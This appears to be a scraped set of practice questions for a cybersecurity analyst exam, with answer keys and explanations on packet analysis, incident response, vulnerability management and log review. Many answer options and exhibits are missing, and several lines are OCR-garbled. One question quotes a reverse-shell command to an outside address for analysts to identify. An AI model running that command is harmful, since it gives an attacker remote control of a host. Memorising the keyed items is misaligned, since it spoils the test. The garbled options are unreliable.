A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?
-
A
Change the display filter to f cp. accive. pore
-
B
Change the display filter to tcg.port=20
-
C
Change the display filter to f cp-daca and follow the TCP streams
-
D
Navigate to the File menu and select FTP from the Export objects option
Reveal answer details
Close answer details
Correct answerC
ExplanationThe ftp filter displays the control channel, including RETR commands and 226 completion replies, but transferred file bytes travel over a separate FTP data connection. Filtering for that data traffic and following the corresponding TCP streams exposes the payload carried by the transfer. A control-channel port filter alone cannot reconstruct the downloaded file contents.
Which of the following is the most comprehensive type of report associated with a closed incident?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationAn after action report provides the broad record of a completed incident, including what happened, the response sequence, decisions, outcomes, performance observations, and recommended improvements. A lessons-learned discussion may contribute to it, while a root cause analysis concentrates on causation. The after action format therefore supplies the most comprehensive closed-incident report.
A security analyst analyzes the output of a web application access log for a company based in the United States. Given the following output:  Which of the following users should be investigated first?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
Explanationtlindy has successful access from a US address at 09:02, a successful login from a Russian address at 09:15, and another US success at 09:25. That rapid geographic change is incompatible with ordinary travel and indicates that valid credentials may be in use from two distant regions. Failed foreign attempts against other users are less urgent than tlindy's successful foreign access.
Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet. Which of the following would be the best action for the incident response team to recommend?
-
A
Isolate Joe's PC from the network
-
B
Reimage the PC based on standard operating procedures
-
C
Initiate a remote wipe of Joe's PC using mobile device management
-
D
Perform no action until HR or legal counsel advises on next steps
Reveal answer details
Close answer details
Correct answerD
ExplanationThe situation involves employment, customer solicitation, and potential legal obligations, but it does not establish a technical compromise requiring immediate destructive action. The incident response team should preserve the current state and perform no action until HR or legal counsel determines the authorized next steps.
Question 5
Lab simulation
Simulation An organization's website was maliciously altered. INSTRUCTIONS Review information in each tab to select the source IP the analyst should be concerned about, the indicator of compromise, and the two appropriate corrective actions.    
Reveal model answer
Close model answer
Source IP: 41.21.18.102; indicator of compromise: Modified index.html file; corrective actions: Change the password on the sjames account and Block external SFTP access.
ExplanationThe external address 41.21.18.102 successfully authenticated as sjames, entered /var/www, and wrote index.html shortly before requesting the website. That sequence ties the unauthorized website change to the sjames credentials and makes the modified index.html file the compromise indicator. Changing the account password invalidates the exposed credential, while blocking external SFTP access closes the remote path used to alter web content.
A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationExploitation occurs when a threat actor takes advantage of a vulnerability, including human weaknesses exploited through social engineering, to gain unauthorized access to a target environment. Since access to the internal network has already been achieved, this is beyond reconnaissance, weaponization, and delivery. Maintaining access would normally progress toward later Cyber Kill Chain stages, but those stages are not provided among the choices.
A security operations center (SOC) analyst investigates the results of a password spray test conducted by the vulnerability management team. The analyst must: Identify Linux systems that have successful and unsuccessful logins with username "User1". Create an output report named "linux-events" of all the events to a flat file. The analyst issues the following console command: ls /var/log/ The shortened output of the command is below:  Which of the following commands should the analyst use to meet the report output requirements?
-
A
cat /var/log/sssd | grep "User1" > linux-events.txt
-
B
cat /var/log/faillog.log | grep "User1" > linux-events.txt
-
C
cat /var/log/syslog | grep "User1" > linux-events.txt
-
D
cat /var/log/auth.log | grep "User1" > linux-events.txt
Reveal answer details
Close answer details
Correct answerD
ExplanationLinux authentication successes and failures are recorded in /var/log/auth.log on the listed system. grep "User1" selects entries for the required username, and the > redirection writes those matching events to the flat file linux-events.txt.
A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationApplying the patch is the implementation step. The technician should next perform validation to confirm that the vulnerability is no longer present and that the server continues to operate as required. Testing normally supports approval before deployment, while rollback is used only when implementation causes unacceptable problems. Validation closes the loop on remediation effectiveness.
The Chief Information Security Officer (CISO) reviews the following security operations metrics from the last month:  Which of the following is the best action to improve overall security operations efficiency?
-
A
Leverage a cloud security posture management tool to add asset context to alerts.
-
B
Analyze and tune the detections that are causing non-actionable alerts.
-
C
Implement playbooks for the junior analysts to use during investigations.
-
D
Perform internal incident training on the most common alerts from security information and event management (SIEM).
Reveal answer details
Close answer details
Correct answerB
ExplanationThere are 3,701 raw alerts but only 491 investigations and five declared incidents, while investigations consume 1,400 analyst hours. Analyzing and tuning detections that generate non-actionable alerts reduces wasted triage work at its source, improving efficiency before more staff time is committed.
Question 10
Single choice
A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?
-
A
The current scanners should be migrated to the cloud
-
B
Cloud-specific misconfigurations may not be detected by the current scanners
-
C
Existing vulnerability scanners cannot scan laaS systems
-
D
Vulnerability scans on cloud environments should be performed from the cloud
Reveal answer details
Close answer details
Correct answerB
ExplanationExisting scanners may be designed around operating-system and network vulnerabilities in the on-premises environment. A hybrid IaaS deployment adds cloud-specific configurations and control-plane settings that those scanners may not evaluate, creating coverage gaps. IaaS assets remain scannable, but the program must confirm that its tools and checks understand the new cloud configuration layer.
Question 11
Single choice
Before merging with a software company, the acquiring company's legal team requires a detailed software scan to determine if all code base is using open-source or paid licensed libraries. The vulnerability management analyst needs to provide this report. Which of the following scan methods will best meet this requirement?
-
A
Static application security testing (SAST)
-
B
Dynamic application security testing (DAST)
-
C
Software composition analysis (SCA)
-
D
Runtime application self-protection (RASP)
-
E
Credentialed vulnerability scan
Reveal answer details
Close answer details
Correct answerC
ExplanationSoftware composition analysis inventories third-party and open-source components within a codebase and associates them with their licensing information. That directly produces the dependency and license visibility needed for the merger review, unlike tests focused primarily on source-code flaws or running behavior.
Question 12
Single choice
An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:  Which of the following tuning recommendations should the security analyst share?
-
A
Set an HttpOnlvflaq to force communication by HTTPS
-
B
Block requests without an X-Frame-Options header
-
C
Configure an Access-Control-Allow-Origin header to authorized domains
-
D
Disable the cross-origin resource sharing header
Reveal answer details
Close answer details
Correct answerC
ExplanationThe assessment identifies a cross-domain misconfiguration, which concerns what external origins are permitted to access web resources. Configuring the Access-Control-Allow-Origin header with only authorized domains restricts cross-origin access to approved origins. Disabling all cross-origin sharing is unnecessarily broad, while cookie and framing headers address different findings in the report.
Question 13
Single choice
An analyst reviews a summarized vulnerability report through a governance, risk, and compliance (GRC) reporting tool. The following report correlates asset information from the configuration management database (CMDB) against detected vulnerabilities:  Which of the following servers should the analyst prioritize based on the target value, the risk, and the likelihood of exploitation?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationPRODWEB-01 combines a high-value asset with a high-severity remote file inclusion vulnerability and public exposure, creating a strong likelihood that attackers can reach the affected service. Its available patch also provides an immediate remediation path, making this production web server the priority.
Question 14
Single choice
A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:  Which of the following scripting languages was used in the script?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationThe script uses PowerShel syntax and commands: variables begin with a dollar sign, foreach iterates through values returned by Get-Content, and cmdlets follow the Verb-Noun form, such as Get-ADUser, Add-ADGroupMember, and Set-ADUser. The pipeline and Select-Object usage are also characteristic of this language's object-based command environment.
Question 15
Single choice
An analyst uses an AI platform to help correlate events. The AI output contains events that did not happen. This results in inaccurate correlations. Which of the following best describes what has occurred?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationHallucinations occur when an AI system produces plausible-looking content that is not grounded in actual input or events. Here, the platform introduced events that never occurred, and those fabricated records then caused incorrect correlations. Data exposure and poisoning describe different failures.
Question 16
Single choice
A team lead asks an analyst to integrate multiple security tools to provide an enhanced view into data that is not readily available in the tool console. Which of the following will best meet this requirement?
-
A
Utilizing application programming interfaces
-
B
Deploying security orchestration, automation, and response
-
C
Templating with infrastructure as code
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationApplication programming interfaces provide defined, programmatic access to data and functions held by separate security tools. The analyst can query multiple products and combine their results into an enhanced view that the individual consoles do not expose, directly satisfying the integration requirement.
Question 17
Single choice
A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerD
ExplanationA single pane of glass consolidates information and control from multiple security products into one operational interface. Integrating the controls into the SIEM removed the analyst's need to switch among separate tools, reducing handling time and improving MTTR. Data enrichment adds context to events, but it does not by itself describe this unified working view.
Question 18
Single choice
A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationAn SLA defines contractual service targets such as acknowledgement, response, remediation, and reporting times. Reviewing it allows the SOC manager to compare the two-hour delay with the response commitment agreed for that customer. An MOU describes mutual intentions, an NDA governs confidentiality, and a limitation-of-liability clause addresses legal exposure rather than service performance.
Question 19
Single choice
Which of the following best explains why sensitive data should be encrypted at rest on laptops?
-
A
To prevent end users from copying data to other systems
-
B
To protect disclosure of information if physical devices are stolen
-
C
To comply with regulatory and legal requirements
-
D
To ensure the integrity of the data on the company network
Reveal answer details
Close answer details
Correct answerB
ExplanationEncryption at rest makes stored laptop data unreadable without the required decryption key. If the physical device is lost or stolen, possession of its drive alone does not reveal the sensitive information. This addresses confidentiality after physical loss rather than preventing authorized users from copying data.
Question 20
Lab simulation
Simulation You are a cybersecurity analyst tasked with interpreting scan data from Company As servers You must verify the requirements are being met for all of the servers and recommend changes if you find they are not The company's hardening guidelines indicate the following: 1. TLS 1 2 is the only version of TLS running. 2. Apache 2.4.18 or greater should be used. 3. Only default ports should be used. INSTRUCTIONS using the supplied data. record the status of compliance With the company's guidelines for each server. The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for Issues based ONLY on the hardening guidelines provided. Part 1: AppServ1:  AppServ2:  AppServ3:  AppServ4:  Part 2:  
Reveal model answer
Close model answer
Part 1: Compliance Report
Select the following items: - AppServ1 is only using TLS 1.2.
- AppServ1 is using Apache 2.4.18 or greater.
- AppServ3 is only using TLS 1.2.
- AppServ3 is using Apache 2.4.18 or greater.
- AppServ4 is only using TLS 1.2.
Part 2: Configuration Change Recommendations AppServ1: No changes are needed for this server. AppServ2: Restrict TLS to TLS 1.2 only. Upgrade Apache from version 2.4.17 to version 2.4.18 or greater. AppServ3: Change the non-default port 8080 to the appropriate default port: port 80 for HTTP or port 443 for HTTPS. No Apache version change is required because Apache 2.4.19 meets the requirement of version 2.4.18 or greater. AppServ4: Upgrade Apache from version 2.4.16 to version 2.4.18 or greater. Change the non-default port 8443 to the appropriate default port: port 80 for HTTP or port 443 for HTTPS.
Question 21
Single choice
A Chief Information Security Officer (CISO) evaluates a threat heat map and notices a substantial increase in custom scanning and enumeration activities. The CISO wants to gather as much information as possible about the activities targeting the company to help prioritize mitigations. Which of the following solutions is the best way to accomplish this goal?
-
A
Configuring a honeypot in a separate environment to gather attacker techniques
-
B
Leveraging canary tokens on all production systems to detect valid intrusion attempts
-
C
Subscribing to information-sharing and threat intelligence reports for the industry
-
D
Implementing a web application firewall in front of all applications and having it log attacks
Reveal answer details
Close answer details
Correct answerA
ExplanationA honeypot is a decoy designed to attract interaction and record what an attacker attempts. Placing it in a separate environment permits observation of scanning, enumeration, and follow-on techniques while limiting contact with production assets, yielding direct detail for prioritizing mitigations.
Question 22
Single choice
An analyst needs to perform a baseline security evaluation of the company's cloud infrastructure. Which of the following tools is most appropriate for this task?
-
A
Open Vulnerability Assessment Scanner (OpenVAS)
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerC
ExplanationScoutSuite evaluates cloud environments by collecting configuration data and identifying security posture issues across cloud services. That broad configuration-focused assessment is suitable for establishing a cloud infrastructure baseline, whereas the other tools focus on network vulnerabilities, web servers, or exploitation.
Question 23
Single choice
A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp.1.1.11 0>$l Which of the following is being attempted?
-
A
-
B
-
C
-
D
Reveal answer details
Close answer details
Correct answerB
ExplanationThe command starts an interactive shell with sh -i and redirects its input and output through an outbound UDP connection. That causes the compromised host to initiate communication to the remote address while exposing shell control over the channel, which is a reverse shell. RCE describes the broader ability to execute code, but the command specifically creates the returning shell session.
Question 24
Single choice
Which of the following describes the main benefits of MITRE ATT&CK Navigator?
-
A
Replicating adversary behavior and blocking gaps in defenses
-
B
Monitoring adversary behavior and performing malware reverse engineering
-
C
Responding to adversary behavior and building security defense tools
-
D
Understanding adversary behavior and identifying gaps in defenses
Reveal answer details
Close answer details
Correct answerD
ExplanationMITRE ATT&CK Navigator lets defenders map and compare adversary tactics and techniques against their existing coverage. This makes adversary behavior easier to understand and reveals techniques for which detection or defensive coverage is missing. It is a visualization and analysis aid, rather than a tool that directly performs malware reverse engineering or automatically blocks attacks.
Question 25
Single choice
Which of the following is commonly used after an incident has been resolved to identify efficiencies and corrective actions related to activities performed during the incident response process?
-
A
-
B
Key performance indicators (KPIs) and performance metrics
-
C
-
D
Reveal answer details
Close answer details
Correct answerA
ExplanationA lessons-learned review examines how the response was performed after the incident is resolved. Participants identify what worked, what caused delays or confusion, and which procedural or technical changes should be assigned as corrective actions. Metrics quantify performance and root cause analysis investigates why the incident occurred, but neither replaces this process-focused review.
|